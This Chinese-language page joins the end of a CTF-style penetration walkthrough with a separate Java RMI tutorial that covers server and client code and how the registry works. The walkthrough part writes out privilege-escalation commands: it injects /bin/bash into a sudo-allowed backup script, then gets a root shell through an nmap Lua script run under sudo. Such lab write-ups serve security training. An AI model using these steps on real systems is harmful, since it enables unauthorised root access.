可以看到允许graham用户在不深入jens用户密码的情况下,使用jens身份执行/home/jens/backups.sh这个脚本文件

图片

2、查看一下脚本内容

cat /home/jens/backups.sh
图片

3、我们现在可以执行这个脚本,而且该脚本也在jens的目录下,那可以将/bin/bash写到这个脚本中,再以jens用户来执行这个脚本,那我们就可以获得jens的shell了。

图片

4、查看一下jens有哪些执行操作

图片

5、使用nmap脚本提权

发现是可以使用nmap的root权限,将反弹shell的命令写入到脚本中,然后使用nmap来执行脚本就可以获得root用户的shell了

echo ‘os.execute(“/bin/bash”)’ > shell
sudo nmap –script=shell

图片

知识点总结

1、信息收集

2、wpscan工具的使用,枚举用户名,爆破登录

3、WordPress 插件 activity monitor 远程代码执行漏洞

4、用户之间的水平越权,就是用户的切换

5、使用nmap来提权

RMI 介绍

RMI 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端。

Server 端通常会创建一个对象,并使之可以被远程访问。

这个对象被称为远程对象。Server 端需要注册这个对象可以被 Client 远程访问。

Client 端调用可以被远程访问的对象上的方法,Client 端就可以和 Server 端进行通信并相互传递信息。

RMI 工作原理

图片

Client 端有一个被称 Stub 的东西,有时也会被成为存根,它是 RMI Client 的代理对象,Stub 的主要功能是请求远程方法时构造一个信息块,RMI 协议会把这个信息块发送给 Server 端

这个信息块由几个部分组成:

  • 远程对象标识符。
  • 调用的方法描述。
  • 编组后的参数值(RMI协议中使用的是对象序列化)。
    既然 Client 端有一个 Stub 可以构造信息块发送给 Server 端,那么 Server 端必定会有一个接收这个信息快的对象,称为 Skeleton 。

它主要的工作是:

  • 解析信息快中的调用对象标识符和方法描述,在 Server 端调用具体的对象方法。
  • 取得调用的返回值或者异常值。
  • 把返回值进行编组,返回给客户端 Stub.
    到这里,一次从 Client 端对 Server 端的调用结果就可以获取到了。

RMI 开发

RMI Server

Server 端主要是构建一个可以被传输的类 User,一个可以被远程访问的类 UserService,同时这个对象要注册到 RMI 开放给客户端使用。

1.定义服务器接口(需要继承 Remote 类,方法需要抛出 RemoteException)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.wdbyte.rmi.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface UserService extends Remote {

/**
* 查找用户
*
* @param userId
* @return
* @throws RemoteException
*/
User findUser(String userId) throws RemoteException;
}

User 对象在步骤 3 中定义
2.实现服务器接口(需要继承 UnicastRemoteObject 类,实现定义的接口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.wdbyte.rmi.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserServiceImpl extends UnicastRemoteObject implements UserService {

protected UserServiceImpl() throws RemoteException {
}

@Override
public User findUser(String userId) throws RemoteException {
// 加载在查询
if ("00001".equals(userId)) {
User user = new User();
user.setName("金庸");
user.setAge(100);
user.setSkill("写作");
return user;
}
throw new RemoteException("查无此人");
}
}

3.定义传输的对象,传输的对象需要实现序列化(Serializable)接口。
需要传输的类一定要实现序列化接口,不然传输时会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.wdbyte.rmi.server;

import java.io.Serializable;

public class User implements Serializable {

private static final long serialVersionUID = 6490921832856589236L;

private String name;
private Integer age;
private String skill;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Integer getAge() {
return age;
}

public void setAge(Integer age) {
this.age = age;
}

public String getSkill() {
return skill;
}

public void setSkill(String skill) {
this.skill = skill;
}

@Override
public String toString() {
return "User{" +
"name='" + name + ''' +
", age=" + age +
", skill='" + skill + ''' +
'}';
}
}

4.注册( rmiregistry)远程对象,并启动服务端程序。
服务端绑定了 UserService 对象作为远程访问的对象,启动时端口设置为 1900

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.wdbyte.rmi.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RmiServer {

public static void main(String[] args) {
try {
UserService userService = new UserServiceImpl();
LocateRegistry.createRegistry(1900);
Naming.rebind("rmi://localhost:1900/user", userService);
System.out.println("start server,port is 1900");
} catch (Exception e) {
e.printStackTrace();
}
}
}

RMI Client

相比 Server 端,Client 端就简单的多。直接引入可远程访问和需要传输的类,通过端口和 Server 端绑定的地址,就可以发起一次调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.wdbyte.rmi.client;

import java.rmi.Naming;

import com.wdbyte.rmi.server.User;
import com.wdbyte.rmi.server.UserService;

public class RmiClient {
public static void main(String args[]) {
User answer;
String userId = "00001";
try {
// lookup method to find reference of remote object
UserService access = (UserService)Naming.lookup("rmi://localhost:1900/user");
answer = access.findUser(userId);
System.out.println("query:" + userId);
System.out.println("result:" + answer);
} catch (Exception ae) {
System.out.println(ae);
}
}
}

捋⼀捋这整个过程,⾸先客户端连接Registry,并在其中寻找Name是finduesr的对象,这个对应数据流中的Call消息;然后Registry返回⼀个序列化的数据,这个就是找到的Name=finduser的对象,这个对应 数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是⼀个远程对象,地址 在 ip:port ,于是再与这个地址建⽴TCP连接;在这个新的连接中,才执⾏真正远程⽅法调⽤,也就是 finduser()

图片

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。